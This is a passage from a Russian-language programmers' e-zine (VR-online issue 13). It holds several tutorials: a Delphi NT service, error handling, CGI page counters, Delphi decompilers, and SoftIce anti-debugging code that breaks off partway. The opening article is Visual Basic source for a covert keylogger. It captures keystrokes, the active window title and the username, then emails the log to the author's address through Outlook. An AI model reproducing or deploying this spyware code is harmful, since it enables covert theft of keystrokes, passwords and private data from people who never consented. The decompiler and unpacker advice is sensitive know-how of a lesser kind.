keystate = Getasynckeystate(&HBA) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + ";" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + ":" End If keystate = Getasynckeystate(&HBB) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "=" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "+" End If keystate = Getasynckeystate(&HBC) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "," End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "<" End If keystate = Getasynckeystate(&HBD) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "-" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "_" End If keystate = Getasynckeystate(&HBE) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "." End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + ">" End If keystate = Getasynckeystate(&HBF) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "/" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "?" End If keystate = Getasynckeystate(&HC0) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "`" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "~" End If keystate = Getasynckeystate(&HDB) If Shift = 0 And (keystate And &H1) = &H1 Then

http://www.vr-online.ru

20


VR-online Journal (Horrific and VR-Team)

Для программистов №13

StrTemp = StrTemp + "[" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "{" End If keystate = Getasynckeystate(&HDC) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "\" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "|" End If keystate = Getasynckeystate(&HDD) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "]" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "}" End If keystate = Getasynckeystate(&HDE) If Shift = 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + "'" End If If Shift <> 0 And (keystate And &H1) = &H1 Then StrTemp = StrTemp + Chr$(34) End If Используя все вышесказанное можно написать неплохой шпиончик, который сможет отслеживать клавиши. Но неплохо было бы сделать в нем несколько важнейших прибамбасов: 1) Узнать, какому окну передавались коды клавиш. (ввод) ‘ декларации API Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long ‘функция получает Caption аттивного окна ‘пример: strCaption = GetCaption(GetForegroundWindow) Private Function GetCaption(WindowHandle As Long) As String Dim Buffer As String, TextLength As Long TextLength& = GetWindowTextLength(WindowHandle&) Buffer$ = String(TextLength&, 0&) Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1) GetCaption$ = Buffer$ End Function 2) Узнать, за каким пользователем следил шпион ‘General Declarations

http://www.vr-online.ru

21


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpbuffer As String, nSize As Long) As Long ‘ А это – сама функция. Пример исплоьзования: msgbox GetUser ‘выводит Message Box с именем пользователя Function GetUser () as string Dim sBuffer As String Dim lSize As Long sBuffer = Space$(255) lSize = Len(sBuffer) Call GetUserName(sBuffer, lSize) If lSize > 0 Then GetUser = Left$(sBuffer, lSize) Else GetUser = vbNullString End If End Sub 3) В качестве филтра можно использовать безотказную функцию InStr. т.к. таймер записывает значения клавишы в «переходную» переменную strTemp, фильтр будет приблизительно выглядеть вот так: ‘ значение филтра может установить user используя TextBox strFilter = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz” If InStr (strFilter, strTemp) Then ‘ для значения True strOut = strOut & strTemp End If 4) Конечно же, возникает вопрос: а как быть, если юзер переключил раскладку клавиатуы. Достигается это использованием GetKeyboardLayoutName API, и таймером с интервалом = 1, который постоянно проверяет раскладку. С учетом раскладки, в код проверки нажатой клавиши, придется добавить Значения и для русской раскладки. ‘ declarations: Public Const KL_NAMELENGTH = 9 Declare Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long ‘ Т.к. API возвращает значение типа Long, и устанавливает значение строки pwszKLID, то для ее форматирования используем: Public Function LPSTRToVBString$(ByVal s$) Dim nullpos& nullpos& = InStr(s$, Chr$(0)) If nullpos > 0 Then LPSTRToVBString = Left$(s$, nullpos - 1) Else LPSTRToVBString = "" End If End Function ‘ Конечная функция для возврата значения выглядит так:

http://www.vr-online.ru

22


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Function RerutnKeyboardLayout() as string dim strTempК as string dim layoutname as string * KL_NAMELENGTH dl& = GetKeyboardLayoutName(layoutname) strTempК = LPSTRToVBString(layoutname) if strTempК = “00000409” then ‘ значение английской раскладки ReturnKeyboardLayout = “English keyboard” Elseif strTempК = “00000419” then ‘ значение русской раскладки ReturnKeyboardLayout = “Russian keyboard” End if End Function 5) Отсылка по e-mail. Воспользуемся самым простым путем: используем то, что предоставил нам дядя Билл, а именно: Object – Oriented Programming ;-D (Данный пример работает только на компе с Аутлуком) ‘ declarations Dim OutlookObject, OutMail, Index Sub SendMail() On error resume next ‘ на тот случай, если будут ошибки Set OutlookObject = CreateObject("Outlook.Application") Set OutMail = OutlookObject.CreateItem(0) OutMail.To = you@somewhere.com ‘ твой мейл OutMail.Subject = “KeySpy report” ‘Тема сообщения OutMail.Body = strOut ‘ Тело сообщения содержащее окончательный лог. OutMail.Send End sub Конечно же, не на каждом компе есть аутлук. Существует еще как минимум два способа отсылки мейла. А) – Использование MAPI контрола Б) – Использование WinSock’a. Не поленись, покопайся в MSDN – обо всем этом там написанно. Удачи в написании Шпиона на VB! Article by BasicWolf (7z Software<>TZiron)

http://www.vr-online.ru

23


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Delphi: Программирование сервисов в NT Если ты когда-нибудь работал в UNIX подобной операционной системе, то наверное не раз слышал такое понятие как «демон». Демон – программа работающая в фоновом режиме. В Windows’e есть тоже свои демоны (они еще злей чем в UNIX’e :)), но называются они здесь не демонами, а сервисами (службами). Для оптимизации XP ты наверное не раз отключал некоторые из них. Сегодня я расскажу тебе как написать свой полноценный сервис (демон). В статье я буду употреблять слова: служба, сервис, но под ними я буду подразумевать одно и тоже. Если ты услышал это слово в первый раз, то не пугайся. Сейчас я тебе все объясню. Давай сначала дадим определение. Служба – программа или процесс, выполняющий конкретную системную функцию по поддержке других программ. Если сказать еще проще, то служба – это программа. И эта программа работает в фоновом режиме с правами SYSTEM. Как известно в Windows NT/2K/XP/2003 эта учетная запись имеет максимальные права в системе (чувствуешь какие открываются перспективы?). Чтобы посмотреть список уже присутствующих служб в системе выполни следующие действия: Мой компьютер => Панель управления => Администратирование => Службы. Перед тобой должно появится окно как на рисунке 1. В этом окне ты сможешь увидеть все службы установленные в твоей системе. Здесь ты же можешь приостанавливать работу служб, устанавливать тип запуска и т.д.

рис.1 (Оснастка «Службы»)

http://www.vr-online.ru

24


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Ну а теперь, я покажу тебе как написать свою собственную службу. Писать мы будем на Borland Delphi. Версию желательно взять 6 или 7. Т.к. в нем уже есть заготовки для программирования сервисов. Запусти Delphi. После запуска Delphi создаст пустой проект, закрой его (File = > Close All). Теперь заходи в File = > New => Other. У тебя должно открыться окно как на рисунке 2.

рис.2 В этом окне нам необходимо выбрать тип нашего приложения. Мы собираемся создавать сервис, поэтому выбираем “Service Application”. Ну вот и все, заготовка для будущего сервиса готова.

рис.3 (Будущий сервис) Давай рассмотрим заготовку нашего сервиса поближе. Сейчас я тебе расскажу про основные свойства, события. Свойства: ⇒ AllowPause – позволяет приостанавливать сервис. Если установить это свойство в false, то твой сервис нельзя будет приостановить через оснастку «Службы».

http://www.vr-online.ru

25


VR-online Journal (Horrific and VR-Team)

Для программистов №13

⇒ AllowStop – позволяет останавливать сервис. Если установить это свойство в false, то твой сервис нельзя будет остановить через оснастку «Службы». ⇒ Dependencies – зависимости. Здесь ты можешь задать компоненты от которых будет зависеть твоя служба. ⇒ DisplayName – имя твое сервиса. Оно будет отображаться в оснастке «Службы» ⇒ Interactive – будет ли твой сервис взаимодействовать с рабочим столом Windows ⇒ ServiceType – тип сервиса. Может быть: o stWin32 – служба Win32. Стоит по умолчанию. o stDevice – драйвер устройства o stFileSystem – драйвер файловой системы ⇒ StartType – Тип запуска. Может быть: o stAuto – автоматический o stBoot – загрузчиком операционной системы (только если тип сервиса не stWin32). o stDisabled – сервис может запустить только Администратор o stManual – запуск в ручную. ⇒ WaitHint – время на проверку SCM (Service Control Manager) состояния твоего сервиса. События: AfterInstall – события происходит после установки сервиса AfterUninstall – событие происходит после удаления сервиса BeforeInstall – событие возникает до установки сервиса BeforeUninstall – события возникает до удаления сервиса OnContinue – если твой сервис приостановили, а потом возобновили его работу, то возникнет это событие OnCreate – OnCreate он и в Африке OnCreate OnDestroy – no comments OnExecute – происходит после запуска сервиса OnPause – событие происходит когда твой сервис приостанавливают OnStart – событие Листинг 1 происходит после var запуска сервиса (до Buffer:PCHar; события OnExecute) begin OnStop – происходит Buffer:=nil; когда твой сервис //Пока длина полученного буфера >0 останавливают while Socket.ReceiveLength>0 do begin Я долго думал, какой //Выделяем память Buffer:=AllocMem(Socket.ReceiveLength); пример именно написать, и try решил не заморачиваться, а //Получаем полученные данные просто расписать пример Socket.ReceiveBuf(Buffer^, Socket.ReceiveLength); который находится в справке //Записываем в поток по Delphi. Брось на нашу Stream.Write(Buffer^,StrLen(Buffer)); «форму» один компонент finally TServerSocket (он находится на закладке Internet). Выдели его //Освобождаем память FreeMem(Buffer); и создай обработчик события end; OnClientRead. Напиши в нем код из листинга 1. К каждой //Сохраняем в файл Stream.Seek(0, soFromBeginning); строчке я привел комментарии, Stream.SaveToFile('C:\log.log'); так что вопросов возникнуть не end; должно. Теперь создай

обработчик события OnExecute для нашего сервиса. И напиши в него код из листинга 2.

http://www.vr-online.ru

26


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Наш сервис почти готов. Остался один маленький штришок. В свойстве Листинг № 2 DisplayName напиши какое-нибудь begin имя для нашего сервиса. Я написал //Инициализируем объект «Первый сервис». Все, теперь наш Stream:=TMemoryStream.Create; сервис полностью готов, теперь нам try нужно его скомпилировать и //Определяем настройки, и открываем порт установить. Скомпилируй наш сервис. на //прослушивание Server.Port:=80; Для того чтобы установить наш сервис Server.Active:=true; в командной строке набери: while not terminated do begin «сервис.exe /install» (Без кавычек). ServiceThread.ProcessRequests(True); Если ты все сделал правильно, то наш end; сервис должен был установиться. Server.Active:=false; Сервис установлен, но не запущен. Для запуска нашего сервиса зайди в finally Stream.Free; оснастку «Службы», найди наш сервис end; и нажми на кнопку запустить. После end; запуска наш сервис начнет прослушивать 80 порт. Для проверки попробуй установить соединение с нашим сервисом. Спросишь чем? А я отвечу: браузером. Если соединение было установлено, то на диске C: у тебя должен был появится файл log.log. Обрати внимание на его содержимое. В нем записан запрос браузера на получение html страницы. Ну вот и все. Теперь ты знаешь как писать свои собственные сервисы. Если у тебя возникли какие-нибудь вопросы, то задавай их мне на мыло. Пока! Исходник примера ищи в файле demon.zip Copyright: Spider NET aka Антонов Игорь mail: spider_net@vr-online.ru

http://www.vr-online.ru

27


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Заметки программиста Advanced обработка ошибок.

Вы, наверное, не раз сталкивались со случаями, когда в вашем приложении может возникнуть ошибка, никак не зависящая от вас (например, в сетевых приложениях, когда нет доступа к сети). Конечно, вы знаете, что правильно было бы их обрабатывать такие “критические точки”, и наверняка это делаете, используя конструкцию: try < делаем, что-нибудь, что может вызвать ошибку > except < что-то, что должно выполниться в случае ошибки > end; или try < делаем, что-нибудь, что может вызвать ошибку > finally < что-то, что должно выполниться даже в случае ошибки > end; При использовании конструкций с try иногда возникает потребность использования except и finally в одном участке с предполагаемой ошибкой. Для этого можно использовать вот такую “кракозябру”: try try < делаем, что-нибудь, что может вызвать ошибку > except < что-то, что должно выполниться в случае ошибки > end; finally < что-то, что должно выполниться даже в случае ошибки > end;

Конечно, эти конструкции помогают избежать аварийного закрытия программы в случае ошибки, да и это просто удобно. Но есть одно НО. Допустим, вы пишете код, не задумываясь об обработке ошибок, и вот проект уже готов, количество строк кода достигает тысячи (а может и больше) и вы решили отладить своё приложение. Множество ошибок, лавиной обрушившихся на вас не позволяют вашему самолюбию выложить столь “глючный” продукт на всеобщее обозрение. Но и вставлять повсеместно в коде конструкцию try тоже не хочется, ведь исходный код проекта настолько велик, что можно что-нибудь и пропустить. Что же делать? И тут нам на помощь приходит Delphi со своим другом VCL. Чем же они нам помогут? А вот чем. Как вы знаете, главным объектом программы, написанной с использованием VCL, является application, стандартные средства которого без проблем позволяют обрабатывать ошибки, при помощи обработчика OnException. Вот как эту возможность можно реализовать: • Добавляем в описание главной формы процедуру, которая выглядеть вот так:

http://www.vr-online.ru

28


VR-online Journal (Horrific and VR-Team)

Для программистов №13

procedure AppException(Sender: TObject; E: Exception); • Собственно сама процедура, обрабатывающая ошибки. Вот простейший вариант её реализации (просто вывод сообщения об ошибке): procedure AppException(Sender: TObject; E: Exception); begin ShowMessage(E.Message); end; • Где-нибудь в коде (обычно это делается в FormCreate) “присваиваем” событию application.OnException нашу процедуру: Application.OnException:=AppException; Хотя, можно было бы использовать компонент ApplicationEvents [закладка Additional]

Вот и всё! Теперь протестируем наш обработчик. Возьмём классическую ошибку – division by zero и “засунем” её, допустим, в ButtonClick: var c: integer; begin c:=0; c:=100 div c; form1.Caption:=inttostr(c); //Эта строчка нужна для того, чтобы компилятор не “оптимизировал” наш код с ошибкой, ссылаясь на то, что значение, присвоенное “c” нигде не используется. end;

Жмём роковой Button и видим окошко с надписью “Division by zero”, чего и требовалось добиться. (Если вы запускали эту программу напрямую из Delphi, то у вас сначала “вылезет” сообщение от дебаггера об ошибке, нужно лишь нажать “Ok”, а затем F9 для продолжения работы программы). Но, допустим, что у нас есть несколько форм, в которых могла возникнуть ошибка. Для того, чтобы узнать в какой из этих форм возникла ошибка, код можно немного усовершенствовать: procedure AppException(Sender: TObject; E: Exception); begin ShowMessage(‘Ошибка в ‘+Sender.ClassName+’. ‘+ E.Message); end;

Но, всё же, не стоит злоупотреблять подобной обработкой ошибок. Ведь если у пользователя часто будут вылетать сообщения об ошибке/ах, то он вскоре просто перестанет пользоваться вашей программой. Даже если вы сделаете “тихой” обработку ошибок, то это не прибавит стабильности коду. Да и вы не сможете должным образом ошибки, где требуется, например, в любом случае освободить память (some_object.Free), поэтому не стоит забывать о try! Copyright © Curve ака Корсунов Артём [VR-Team]

http://www.vr-online.ru

29


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Delphi и CGI: Счётчик посещений Все чаще на различных ресурсах в сети, содержащих, например, прямые ссылки на скачивание различных программ, можно обнаружить небольшие цифры, указывающие на количество скачиваний той или иной проги. Эти цифры и есть рейтинг программы или количество переходов на страницу с ее описанием. Иногда такие счетчики посещений помогают сделать правильный выбор, ориентируясь на высокий или низкий рейтинг проги. Сейчас мы займемся созданием таких счетчиков, а заодно освоим работу с текстовыми файлами и закрепим навыки по использованию компонента TPageProducer. Но перед тем как начать я советую тебе поставить перед собой цель не создавать счетчик, а научиться работать с простыми текстовыми файлами через CGI скрипт, написанный на Delphi. За сим, не будем отвлекаться и приступим сразу к делу. Сначала нам необходимо набрать ручками нашу стартовую страницу, которую мы далее поместим в Web папку под именем Index.htm. В своем блокноте я набрал страницу примерно следующим образом: <html> <head> <title>Vr-Online</title> </head> <body> <form action="http://127.0.0.1/cgi-bin/Count.exe"> Хочешь пЫва?<br> <input type="submit" value="Тебе сюда"> </form> </body> </html> Суть в чем? Пользователь, нажав на кнопку «Тебе сюда» запустит наш скрипт с именем Count.exe, который и будет ему выводить страницу. Теперь мы должны непосредственно создать саму прогу. Открываем Delphi и выбраем команду File New Other…, затем щелкам на иконке Web Server Application двойным нажатием на левую кнопку мыши. В появившемся окне, традиционно, выбираем второй пункт (CGI Standart-alone executable) и жмем на кнопку OK. В появившийся пустой WebModule сразу же кинем компонент TPageProducer c закладки Internet. Теперь, чтобы лишний раз не отвлекаться, сразу же заполним свойство HTMLDoc необходимым текстом выводимой страницы (напомню, что вместо использования этого свойства можно использовать свойство HTMLFile, в котором достаточно указать полный путь к документу-шаблону, содержащему тот же текст, что и HTMLDoc). У меня текст выводимого документа выглядит так: <html> <head> </head> <body> <center><h2>Мужик, ну ё моё, нету здесь пЫва, ты уже <#Count>-й спрашиваешь!!!</h2></center> </body>

http://www.vr-online.ru

30


VR-online Journal (Horrific and VR-Team)

Для программистов №13

</html> Обрати внимание, что здесь помимо тегов html присутствует спец. тег, помеченный символом #. Название этого тега придумал я сам (Count). Теперь ты можешь закрыть редактор, нажав на кнопку OK и перейти к Web модулю. Сначала сделаем его активным окном, нажав в любом его месте на левую кнопку мыши, а затем дважды щелкнем на свойстве Actions. В появившемся окне Editing WebModule1.Actions создаем новый элемент, щелкнув на кнопке Add New или нажав клавишу Ins на клаве. Далее выделяем созданный элемент и, перейдя на вкладку Events в объектном инспекторе, создаем обработчик события onAction. Между строками begin и end; напишем всего одну строку: Response.Content:=PageProducer1.Content; Напомню, что эта строка показывает браузеру клиента содержимое свойства HTMLDoc компонента TPageProducer. Но пока еще TPageProducer не знает что означает спец. тег <#Count> и на что его нужно заменить. Поэтому дважды щелкнув на этом компоненте создаем обработчик события onHTMLTag. Вся процедура у меня выглядит вот так: procedure TWebModule1.PageProducer1HTMLTag(Sender: TObject; Tag: TTag; const TagString: String; TagParams: TStrings; var ReplaceText: String); var f: TStrings;//объявляем переменную begin f:=TStringList.Create; f.LoadFromFile('Count.txt');//Загружаем в переменную f файл Count.txt //К числу в первой строке прибавляем 1 и сохраняем результат в этой же строке f.Strings[0]:=IntToStr(StrToInt(f.Strings[0])+1); f.SaveToFile('Count.txt');//Сохраняем файл if TagString='Count' then //Заменяем спец. тег <#Count> первой строкой файла Count ReplaceText:=f.Strings[0]; f.Free; end; В этой процедуре мы обращаемся к первой строке файла Count.txt, который должны обязательно предварительно создать в той же директории, что и сам скрипт. Если ты хочешь, чтобы файл лежал в другом месте, тогда просто пропиши полный путь к файлу. Еще очень интересный момент – это строка: f.Strings[0]:=IntToStr(StrToInt(f.Strings[0])+1); Если ты давно кодишь на Delphi, то скорее всего она не вызовет у тебя недоумение. Здесь все просто – сначала первая и единственная строка (она у нас должна содержать только число, заранее позаботься об этом) преобразовывается в число с помощью функции IntToStr(). Далее к этому числу прибавляется единица. Чтобы вновь занести это значение в f.Strings[0] мы должны обратно перевести число в строку с помощью функции IntToStr(). После сохранения файла мы заменяем спец. тег <#Count> на значение f.Strings с помощью конструкции if TagString='Count' then ReplaceText:=f.Strings[0]; Далее просто освобождаем память вызвав метод Free для переменной f. Все. Теперь на всякий случай сохрани проект в ту папку, с которой начинается запуск скриптов и не забудь дать имя проекту Count.dpr. Далее откомпилируй прогу.

http://www.vr-online.ru

31


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Прежде чем ты начнешь тестировать скрипт, создай в папке с прогой текстовый файл Count.txt. В первой строке напиши 0 (нуль) и закрой его, сохранив значение первой и единственной строки. Во время тестирования у меня получилось вот это:

Начальная страница

Выполненный скрипт после 37 запуска

Конечно, наверно, не стоит использовать Delphi для создания таких счетчиков. Легче всего воспользоваться Perl’ом или PHP, но удобство здесь все-таки есть. Компонент TPageProducer позволяет в качестве шаблона использовать любой документ html. В качестве такого документа, например можно указать страницу с описанием программы и т. д. К тому же исполняемый файл Count.exe не требует интерпретатора, что также создает разработчику комфортные условия. Также хочу заметить, что сегодняшний пример можно немного усовершенствовать. Например, можно устроить проверку на существование файла Count.txt и если его не окажется создать его и записать в первую строку значение 0 (нуль). Попытайся сделать это самостоятельно, ну а мне остается пожелать тебе только удачи… -Foxgof-leonid@mail.ru

http://www.vr-online.ru

32


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Delphi и CGI: TPageProducer Создавая скрипты на Delphi вместе со мной, ты наверно обратил внимание на то, что очень много кода дублируется, т. е. нам бессмысленно приходится набирать снова и снова эти почти бесполезные теги типа <html> <head></head> <body> </body> </html> Но такой код – это еще не самый тяжелый случай. Зачастую в голове документа содержатся сотни строк программ JavaScript и еще столько же применяемых ко всему документу стилей. Неужели, обрабатывая кучу событий, разработчик на Delphi будет снова и снова набирать эти теги? Нельзя ли написать какой-нибудь шаблон, в котором как раз и будут содержаться эти теги? Конечно можно!!! Например, можно записать все это в текстовый файл и при необходимости доставать все из него, но это не самый удобный способ, который к тому же может еще привести и к путанице в программе. А еще можно использовать замечательный компонент TPageProducer, который, лично я, да и множество программистов активно используют его для сокращения текста, отправляемого сервером на клиентскую машину (по идее сервер все равно отправляет текст, но разработчик заботится об этом лишь однажды). Для того чтобы ты познакомился с его возможностями и разобрал его по косточкам сразу же запустим Delphi и создадим WebModule (если ты не знаешь о чем я сейчас говорю, то перейди к предыдущим статьям). Но перед этим не забудь написать ручками начальную страницу, содержащую текст: <html> <head> <title>Vr-Online</title> </head> <body> <form action="http://127.0.0.1/cgi-bin/script.exe"> Твое имя:<br> <input type="text" name="user"> <input type="submit"> </form> </body> </html> Созданную страницу сохрани под именем Index.htm и кинь в Web папку. В Delphi в появившемся пустом Web модуле дважды кликай маусом для открытия окна Editing WebModule1.Actions. Далее создай новый элемент, кликнув по кнопке Add New (Ins). Теперь отложи в сторону это окно или закрой вообще. В наш модуль необходимо кинуть компонент TPageProducer с закладки Internet. Выдели этот компонент и обрати свой взор в сторону объектного инспектора. Теперь дважды нажми на свойство HTMLDoc и в открывшемся окне редактирования набери следующие строки:

http://www.vr-online.ru

33


VR-online Journal (Horrific and VR-Team)

Для программистов №13

<html> <head> <title>Vr-Online</title> </head> <body> <#Text> <br>Сегодня: <#Date> </body> </html> Как видишь здесь весь текст состоит из регулярно повторяющихся тегов, которые разработчику лишний раз необходимо набирать регулярно. Но помимо обычных html тегов у меня написаны еще и специальные теги, которые как и в html заключаются в треугольные скобки и которые впереди содержат символ #. Именно в эти места мы и будем толкать результат выполнения программы и весь этот листинг отправлять на машину клиента к его любимому ослику IE. Причем не нужно думать, что эти теги нужно зазубрить подобно тегам html. Совсем не нужно. Они придумываются разработчиком от балды, лишь бы они содержали знак #, символизирующий, что этот тег выводить не нужно. Лично я ничего не смог придумать как написать Text и Date. На месте спец тега Text у нас будет выводиться приветствие пользователя, а на месте Date сегодняшняя дата. Теперь ты можешь закрыть окно редактирования и снова перейти к окну Editing WebModule1.Actions, дважды кликнув мышью в окне Web модуля. Выделив элемент WebActionItem1 перейди на вкладку Events объектного инспектора и создай обработчик события onAction кликнув мышью в этом пункте. В появившемся обработчике напиши одну строку: Response.Content:=PageProducer1.Content; Это строка говорит компилятору, что при вызове скрипта, программа отправляет клиенту содержимое шаблона компонента TPageProducer. Но теперь нам необходимо сказать нашему компоненту о том, что значат эти таинственные теги <#Text> и <#Date> и какой текст на их место нужно поместить. Именно поэтому двигаемся к компоненту, выделяем его и создаем событие onHTMLTag (оно единственное, поэтому не утруждай себя переходом на вкладку Events, а сразу же дважды кликай мышью на компоненте). В появившемся обработчике пиши: if TagString='Text' then ReplaceText:='Привет '+Request.QueryFields.Values['user']; if TagString='Date' then ReplaceText:=DateToStr(Date); Здесь мы говорим Delphi, что если компонент TPageProducer среди помеченных символом # тегов увидит слово Text, то он немедленно должен заменить весь этот тег строкой ReplceText, которая содержит приветствие пользователя (см. вторую строку). При этом имя пользователя мы получим знакомой конструкцией Request.QueryFields.Values[‘user’], где в качестве параметра передано имя тега <input> в нашей начальной форме, помещенной в web папку сервера. Та же самая проверка происходит и в третьей строке, но теперь компонент ищет слово Date и заменяет весь этот тег (т. е. <#Date>) строкой ReplaceText, которая к тому времени уже содержит в себе текущую дату, полученную с помощью функции Date и преобразованная в текстовый формат с помощью функции DateToStr(). Теперь

http://www.vr-online.ru

34


VR-online Journal (Horrific and VR-Team)

Для программистов №13

ты можешь сохранить весь проект в папку сервера, с которой он запускает скрипты (у меня это папка cgi-bin). Не забудь дать проекту имя script.dpr. Затем можно начать компиляцию и проверку работоспособности программы. Запускаем Internet Explorer или другой иной браузер и в поле «адрес» пишем http://127.0.0.1/ Должна открыться наша начальная страница Index.htm Заполняем поле своим ником или именем и жмем на кнопку «Падача запроса». Если настройки web сервера верны, скрипт не содержит ошибок, а твои руки достаточно прямые, тогда ты должен увидеть результат своей работы в виде безошибочного вывода результата работы программы. У компонента TPageProducer так же есть очень интересное и полезное свойство HTMLFile, в котором можно указать путь к документушаблону, содержащему тот же Скрипт выполнен текст, что и редактор свойства HTMLDoc. По сути дела оно выполняет ту же функцию что и свойство HTMLDoc, но в отличие от него шаблон не находится внутри программы, а располагается в виде обычного файла в одной из директорий сервера, что дает программе гибкость в настройке интерфейса, так как теперь, при смене, например, цвета фона на странице, разработчику не нужно заново компилировать скрипт, внеся в него изменения, ему нужно просто изменить шаблон, находящийся в одной из папок сервера. Я надеюсь, что ты сам убедился в простоте использования компонента PageProducer и будешь использовать его регулярно, как это делаю я. -Foxgof-leonid@mail.ru

http://www.vr-online.ru

35


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Дизасемблер для Delphi Иногда бывает такой случай: у тебя есть крутая прога и ты почти уверен что она написана именно на Delphi и тебе очень хочется узнать как она работает. Но автор не дает исходников проги. Что же делать? А вот что. Есть тулзы, которые преобразуют exe-шный файл в Delphi-проект. Я знаю две такие проги. Первая пограмма о которой я хочу тебе рассказть – это exe2dpr. Название говорит само за себя. У нее ДОСовская оболочка и мало настроек. Кстати, написал ее наш российский кодер. Начиная с третьей версии прога поддерживает проекты на C++Builder 3.0. Работает она так: легче всего создать бат-файл и вписать в него следующие две строчки:

exe2dpr file.exe pause Т.е мы запускаем прогу и дизассемблируем прогу file.exe в Delphi-проект. Пауза нужна для просмотра результата дизассемблирования. Прога мала и проста, соответственно у нее есть минусы. Самый большой из них то, что эта прога поддерживает не все версии Delphi и далеко не все проги дизассемблируются. Все заинтересованные идут на http://www.ems.ru/~gold/exe2dpr.zip и качают :) Слудующая программа называется DeDe и является лучшей в своем роде. Она имеет win-оболочку и имеет кучу настроек. Но сразу хочу сказать: у программы конечно огромный процент того, что она дизассемблирует прогу в Delphi-проект. Но отчасти этот проект получится в ассемблерном виде. Так что человеку не знающему ассемблер будет труднее, чем в предыдущем варианте. А теперь непосредсвенно о самой проге. Скачать ее можно http://www.balbaro.com/ftp/dede/dede3.02full.rar, по http://www.balbaro.com/ftp/dede/dede310.b.1525.rar лежит апдейт, а тут

по

адресу адресу

http://www.balbaro.com/ftp/dede/help/dedehtml.rar есть инфа, но не на русском. Вот как программа выглядит после запуска.

http://www.vr-online.ru

36


VR-online Journal (Horrific and VR-Team)

Для программистов №13

В принципе, тут нечего объяснять, по-моему интерфейс информация о классах, модулях, формах, процедурах.

интуитивно

понятен:

После дизассемблирования лезем во вкладку “Project” в поле “Project Directory” указываем папку куда сохранять проект и жмем на “Create files”. Вот и все, проект готов. Я не буду дальше рассказывать о DeDe потому что это не является целью статьи

Сегодня я вкратце рассказал о тех прогах, которые я использую дизассемблирования в Delphi-проекты. Кто-то может использует и другие.

для

Напоследок хочу сказать, что авторы всячески защищают свои детища от от чужих глаз. Поэтому эти проги могут сослаться на неизвестный формат, благодаря тому, что например прога запакована ASPack’ом или PECompact’om. Для того чтобы снять защиту запаковщика или узнать чем запакован файл используй для этого тулзы, такие как FileAnalyzer, PE-Sniffer – для информации о файле и запаковщике и ASPackDie и другие для снятия защиты. Всех их можно скачать с www.exetools.com. Copyright © Crazy_Script [VR-Team]

http://www.vr-online.ru

37


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Защита от отладки SoftIce – один из самых лучших отладчиков на планете. Этим дебаггером очень часто пользуются как начинающими так и опытными кракерами. От последних вряд ли какая защита поможет, а вот от начинающих мы в силе защититься. Обидно, когда ты написал какую-нибудь утилиту, а деньги на пиво не получил. В этой статье я приведу код, который будет блокировать SoftIce95. Во-первых проверь, прописан ли у тебя в разделе uses модуль windows. Прописан? Нет, так прописывай и поехали дальше… Напишем функцию когда SoftIce загружен и выхода из системы. Затем, в конче кода, в разделе initialization совместим их. Привожу код с комментариями:

interface implementation uses windows; function isSoftIce95Loaded: boolean; // функция загрузки SoftIce var hfile:thandle; begin result:=false; hfile:=createfileA('\\.\sice',generic_read or generic_write, file_share_read or file_share_write, nil, open_existing, file_attribute_normal,0); if(hfile <> invalid_handle_value) then begin closehandle(hfile); result:=true; end; end; function winexit(flags:integer):boolean; // функция выхода из системы // эта функция поможет //нам определить выходить ли из системы или продолжать работу программы function Setprivilege (privilegename:string; enable:boolean):boolean; var tpPrev, tp:TTokenPrivileges; token: Thandle; dwRetLen: Dword; begin result:= false; openprocesstoken (GetCurrentProcess, token_adjust_privileges or token_query,token);

http://www.vr-online.ru

38


VR-online Journal (Horrific and VR-Team)

Для программистов №13

